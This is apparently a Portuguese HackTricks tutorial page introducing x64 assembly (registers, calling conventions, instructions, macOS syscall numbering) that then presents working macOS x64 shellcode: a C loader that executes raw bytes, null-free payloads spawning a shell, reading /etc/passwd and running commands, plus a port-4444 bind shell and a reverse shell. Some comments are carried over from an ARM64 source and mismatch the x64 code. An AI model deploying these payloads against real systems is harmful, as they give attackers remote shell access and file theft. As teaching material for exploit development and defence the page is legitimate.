# Introdução ao x64 {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} ## **Introdução ao x64** x64, também conhecido como x86-64, é uma arquitetura de processador de 64 bits predominantemente usada em computação de desktop e servidor. Originada da arquitetura x86 produzida pela Intel e posteriormente adotada pela AMD com o nome AMD64, é a arquitetura prevalente em computadores pessoais e servidores hoje. ### **Registradores** x64 expande a arquitetura x86, apresentando **16 registradores de uso geral** rotulados como `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, e `r8` a `r15`. Cada um deles pode armazenar um valor **de 64 bits** (8 bytes). Esses registradores também possuem sub-registradores de 32 bits, 16 bits e 8 bits para compatibilidade e tarefas específicas. 1. **`rax`** - Tradicionalmente usado para **valores de retorno** de funções. 2. **`rbx`** - Frequentemente usado como um **registrador base** para operações de memória. 3. **`rcx`** - Comumente usado para **contadores de loop**. 4. **`rdx`** - Usado em várias funções, incluindo operações aritméticas estendidas. 5. **`rbp`** - **Ponteiro base** para o quadro de pilha. 6. **`rsp`** - **Ponteiro de pilha**, mantendo o controle do topo da pilha. 7. **`rsi`** e **`rdi`** - Usados para índices de **origem** e **destino** em operações de string/memória. 8. **`r8`** a **`r15`** - Registradores adicionais de uso geral introduzidos no x64. ### **Convenção de Chamada** A convenção de chamada x64 varia entre sistemas operacionais. Por exemplo: * **Windows**: Os primeiros **quatro parâmetros** são passados nos registradores **`rcx`**, **`rdx`**, **`r8`** e **`r9`**. Parâmetros adicionais são empurrados para a pilha. O valor de retorno está em **`rax`**. * **System V (comumente usado em sistemas semelhantes ao UNIX)**: Os primeiros **seis parâmetros inteiros ou ponteiros** são passados nos registradores **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** e **`r9`**. O valor de retorno também está em **`rax`**. Se a função tiver mais de seis entradas, o **restante será passado na pilha**. **RSP**, o ponteiro de pilha, deve estar **alinhado a 16 bytes**, o que significa que o endereço que ele aponta deve ser divisível por 16 antes de qualquer chamada ocorrer. Isso significa que normalmente precisaríamos garantir que RSP esteja devidamente alinhado em nosso shellcode antes de fazermos uma chamada de função. No entanto, na prática, chamadas de sistema funcionam muitas vezes mesmo que esse requisito não seja atendido. ### Convenção de Chamada em Swift Swift tem sua própria **convenção de chamada** que pode ser encontrada em [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64) ### **Instruções Comuns** As instruções x64 têm um conjunto rico, mantendo compatibilidade com instruções x86 anteriores e introduzindo novas. * **`mov`**: **Mover** um valor de um **registrador** ou **local de memória** para outro. * Exemplo: `mov rax, rbx` — Move o valor de `rbx` para `rax`. * **`push`** e **`pop`**: Empurrar ou retirar valores da **pilha**. * Exemplo: `push rax` — Empurra o valor em `rax` para a pilha. * Exemplo: `pop rax` — Retira o valor do topo da pilha para `rax`. * **`add`** e **`sub`**: Operações de **adição** e **subtração**. * Exemplo: `add rax, rcx` — Adiciona os valores em `rax` e `rcx`, armazenando o resultado em `rax`. * **`mul`** e **`div`**: Operações de **multiplicação** e **divisão**. Nota: essas têm comportamentos específicos em relação ao uso de operandos. * **`call`** e **`ret`**: Usados para **chamar** e **retornar de funções**. * **`int`**: Usado para acionar uma **interrupção** de software. Ex.: `int 0x80` era usado para chamadas de sistema no Linux x86 de 32 bits. * **`cmp`**: **Comparar** dois valores e definir as flags da CPU com base no resultado. * Exemplo: `cmp rax, rdx` — Compara `rax` com `rdx`. * **`je`, `jne`, `jl`, `jge`, ...**: Instruções de **salto condicional** que alteram o fluxo de controle com base nos resultados de um `cmp` ou teste anterior. * Exemplo: Após uma instrução `cmp rax, rdx`, `je label` — Salta para `label` se `rax` for igual a `rdx`. * **`syscall`**: Usado para **chamadas de sistema** em alguns sistemas x64 (como Unix modernos). * **`sysenter`**: Uma instrução de **chamada de sistema** otimizada em algumas plataformas. ### **Prólogo da Função** 1. **Empurre o antigo ponteiro base**: `push rbp` (salva o ponteiro base do chamador) 2. **Mova o ponteiro de pilha atual para o ponteiro base**: `mov rbp, rsp` (configura o novo ponteiro base para a função atual) 3. **Alocar espaço na pilha para variáveis locais**: `sub rsp, ` (onde `` é o número de bytes necessários) ### **Epílogo da Função** 1. **Mova o ponteiro base atual para o ponteiro de pilha**: `mov rsp, rbp` (desaloca variáveis locais) 2. **Retire o antigo ponteiro base da pilha**: `pop rbp` (restaura o ponteiro base do chamador) 3. **Retorne**: `ret` (retorna o controle para o chamador) ## macOS ### syscalls Existem diferentes classes de syscalls, você pode [**encontrá-las aqui**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:** ```c #define SYSCALL_CLASS_NONE 0 /* Invalid */ #define SYSCALL_CLASS_MACH 1 /* Mach */ #define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */ #define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */ #define SYSCALL_CLASS_DIAG 4 /* Diagnostics */ #define SYSCALL_CLASS_IPC 5 /* Mach IPC */ ``` Então, você pode encontrar cada número de syscall [**neste url**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:** ```c 0 AUE_NULL ALL { int nosys(void); } { indirect syscall } 1 AUE_EXIT ALL { void exit(int rval); } 2 AUE_FORK ALL { int fork(void); } 3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); } 4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); } 5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); } 6 AUE_CLOSE ALL { int close(int fd); } 7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); } 8 AUE_NULL ALL { int nosys(void); } { old creat } 9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); } 10 AUE_UNLINK ALL { int unlink(user_addr_t path); } 11 AUE_NULL ALL { int nosys(void); } { old execv } 12 AUE_CHDIR ALL { int chdir(user_addr_t path); } [...] ``` Então, para chamar a syscall `open` (**5**) da **classe Unix/BSD**, você precisa adicioná-la: `0x2000000` Assim, o número da syscall para chamar open seria `0x2000005` ### Shellcodes Para compilar: {% code overflow="wrap" %} ```bash nasm -f macho64 shell.asm -o shell.o ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib ``` {% endcode %} Para extrair os bytes: {% code overflow="wrap" %} ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do echo -n '\\x'$c done # Another option otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g' ``` {% endcode %}
C código para testar o shellcode ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include int (*sc)(); char shellcode[] = ""; int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode)); void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0); if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr); void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst); int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ); if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status); printf("[>] Trying to execute shellcode...\n"); sc = ptr; sc(); return 0; } ```
#### Shell Retirado de [**aqui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e explicado. {% tabs %} {% tab title="com adr" %} ```armasm bits 64 global _main _main: call r_cmd64 db '/bin/zsh', 0 r_cmd64: ; the call placed a pointer to db (argv[2]) pop rdi ; arg1 from the stack placed by the call to l_cmd64 xor rdx, rdx ; store null arg3 push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall ``` {% endtab %} {% tab title="com pilha" %} ```armasm bits 64 global _main _main: xor rdx, rdx ; zero our RDX push rdx ; push NULL string terminator mov rbx, '/bin/zsh' ; move the path into RBX push rbx ; push the path, to the stack mov rdi, rsp ; store the stack pointer in RDI (arg1) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall ``` {% endtab %} {% endtabs %} #### Ler com cat O objetivo é executar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, então o segundo argumento (x1) é um array de parâmetros (que na memória significa uma pilha dos endereços). ```armasm bits 64 section .text global _main _main: ; Prepare the arguments for the execve syscall sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48` lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat" lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd" ; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"] push rsi ; Add "/etc/passwd" to the stack (arg0) push rdi ; Add "/bin/cat" to the stack (arg1) ; Set in the 2nd argument of exec the addr of the array mov rsi, rsp ; argv=rsp - store RSP's value in RSI xor rdx, rdx ; Clear rdx to hold NULL (no environment variables) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall ; Make the syscall section .data cat_path: db "/bin/cat", 0 passwd_path: db "/etc/passwd", 0 ``` #### Invocar comando com sh ```armasm bits 64 section .text global _main _main: ; Prepare the arguments for the execve syscall sub rsp, 32 ; Create space on the stack ; Argument array lea rdi, [rel touch_command] push rdi ; push &"touch /tmp/lalala" lea rdi, [rel sh_c_option] push rdi ; push &"-c" lea rdi, [rel sh_path] push rdi ; push &"/bin/sh" ; execve syscall mov rsi, rsp ; rsi = pointer to argument array xor rdx, rdx ; rdx = NULL (no env variables) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall _exit: xor rdi, rdi ; Exit status code 0 push 1 ; put 1 on the stack (exit syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall section .data sh_path: db "/bin/sh", 0 sh_c_option: db "-c", 0 touch_command: db "touch /tmp/lalala", 0 ``` #### Bind shell Bind shell de [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) na **porta 4444** ```armasm section .text global _main _main: ; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP) xor rdi, rdi mul rdi mov dil, 0x2 xor rsi, rsi mov sil, 0x1 mov al, 0x2 ror rax, 0x28 mov r8, rax mov al, 0x61 syscall ; struct sockaddr_in { ; __uint8_t sin_len; ; sa_family_t sin_family; ; in_port_t sin_port; ; struct in_addr sin_addr; ; char sin_zero[8]; ; }; mov rsi, 0xffffffffa3eefdf0 neg rsi push rsi push rsp pop rsi ; bind(host_sockid, &sockaddr, 16) mov rdi, rax xor dl, 0x10 mov rax, r8 mov al, 0x68 syscall ; listen(host_sockid, 2) xor rsi, rsi mov sil, 0x2 mov rax, r8 mov al, 0x6a syscall ; accept(host_sockid, 0, 0) xor rsi, rsi xor rdx, rdx mov rax, r8 mov al, 0x1e syscall mov rdi, rax mov sil, 0x3 dup2: ; dup2(client_sockid, 2) ; -> dup2(client_sockid, 1) ; -> dup2(client_sockid, 0) mov rax, r8 mov al, 0x5a sub sil, 1 syscall test rsi, rsi jne dup2 ; execve("//bin/sh", 0, 0) push rsi mov rdi, 0x68732f6e69622f2f push rdi push rsp pop rdi mov rax, r8 mov al, 0x3b syscall ``` #### Reverse Shell Reverse shell de [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Reverse shell para **127.0.0.1:4444** ```armasm section .text global _main _main: ; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP) xor rdi, rdi mul rdi mov dil, 0x2 xor rsi, rsi mov sil, 0x1 mov al, 0x2 ror rax, 0x28 mov r8, rax mov al, 0x61 syscall ; struct sockaddr_in { ; __uint8_t sin_len; ; sa_family_t sin_family; ; in_port_t sin_port; ; struct in_addr sin_addr; ; char sin_zero[8]; ; }; mov rsi, 0xfeffff80a3eefdf0 neg rsi push rsi push rsp pop rsi ; connect(sockid, &sockaddr, 16) mov rdi, rax xor dl, 0x10 mov rax, r8 mov al, 0x62 syscall xor rsi, rsi mov sil, 0x3 dup2: ; dup2(sockid, 2) ; -> dup2(sockid, 1) ; -> dup2(sockid, 0) mov rax, r8 mov al, 0x5a sub sil, 1 syscall test rsi, rsi jne dup2 ; execve("//bin/sh", 0, 0) push rsi mov rdi, 0x68732f6e69622f2f push rdi push rsp pop rdi xor rdx, rdx mov rax, r8 mov al, 0x3b syscall ``` {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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